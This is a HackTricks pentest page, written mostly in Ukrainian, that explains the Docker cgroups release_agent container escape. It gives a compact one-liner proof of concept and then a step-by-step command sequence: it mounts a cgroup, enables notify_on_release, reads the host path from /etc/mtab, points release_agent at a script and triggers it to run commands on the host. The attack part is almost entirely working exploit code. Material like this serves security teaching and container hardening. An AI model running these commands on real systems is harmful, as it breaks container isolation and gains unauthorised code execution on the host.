Docker release_agent cgroups escape

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Для отримання додаткової інформації зверніться до оригінального блогу. Це лише резюме:

Оригінальний PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Доказ концепції (PoC) демонструє метод експлуатації cgroups шляхом створення файлу release_agent і виклику його для виконання довільних команд на хості контейнера. Ось розбивка кроків, що беруть участь:

1. Підготовка середовища:

• Створюється каталог /tmp/cgrp, який слугує точкою монтування для cgroup.

• Контролер cgroup RDMA монтується в цей каталог. У разі відсутності контролера RDMA рекомендується використовувати контролер cgroup memory як альтернативу.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

1. Налаштуйте дочірній cgroup:

• Дочірній cgroup з назвою "x" створюється в змонтованій директорії cgroup.

• Сповіщення увімкнені для cgroup "x" шляхом запису 1 у його файл notify_on_release.

echo 1 > /tmp/cgrp/x/notify_on_release

1. Налаштуйте Release Agent:

• Шлях контейнера на хості отримується з файлу /etc/mtab.

• Файл release_agent cgroup потім налаштовується для виконання скрипту з назвою /cmd, розташованого за отриманим шляхом хоста.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

1. Створіть та налаштуйте скрипт /cmd:

• Скрипт /cmd створюється всередині контейнера та налаштовується для виконання ps aux, перенаправляючи вихід у файл з назвою /output в контейнері. Вказується повний шлях до /output на хості.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

1. Запустіть атаку:

• Процес ініціюється в "x" дочірньому cgroup і відразу ж завершується.

• Це викликає release_agent (скрипт /cmd), який виконує ps aux на хості та записує вихідні дані в /output всередині контейнера.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.